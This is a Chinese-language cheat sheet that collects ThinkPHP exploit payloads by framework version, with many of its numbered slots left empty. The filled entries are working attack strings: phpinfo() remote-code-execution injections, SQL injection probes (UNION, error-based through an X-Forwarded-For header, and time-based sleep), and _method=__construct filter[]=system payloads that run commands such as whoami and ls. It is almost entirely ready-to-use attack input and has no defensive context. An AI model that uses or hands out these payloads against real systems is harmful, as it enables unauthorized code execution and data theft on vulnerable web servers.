整合了一个集合，方便查询

thinkphp 5.0.22

1、

2、

3、

4、

thinkphp 5

5、

thinkphp 5.0.21

6、

7、

thinkphp 5.1.*

8、

9、

10、

11、

12、

13、

14、

15、

未知版本

16、?s=index/\think\module/action/param1/${@phpinfo()}

17、?s=index/\think\Module/Action/Param/${@phpinfo()}

18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}

19、index.php?s=/home/article/view_recent/name/1' 

header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"

20、index.php?s=/home/shopcart/getPricetotal/tag/1%27

21、index.php?s=/home/shopcart/getpriceNum/id/1%27

22、index.php?s=/home/user/cut/id/1%27

23、index.php?s=/home/service/index/id/1%27

24、index.php?s=/home/pay/chongzhi/orderid/1%27

25、index.php?s=/home/pay/index/orderid/1%27

26、index.php?s=/home/order/complete/id/1%27

27、index.php?s=/home/order/complete/id/1%27

28、index.php?s=/home/order/detail/id/1%27

29、index.php?s=/home/order/cancel/id/1%27

30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+

31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1

Content-Disposition: form-data; name="couponid"

1') union select sleep('''+str(sleep_time)+''')#

thinkphp 5.0.23（完整版）debug模式

32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.0.23(完整版)

33、（post）public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

thinkphp 5.0.10（完整版）

34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

thinkphp 5.1.* 和 5.2.* 和 5.0.*

35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter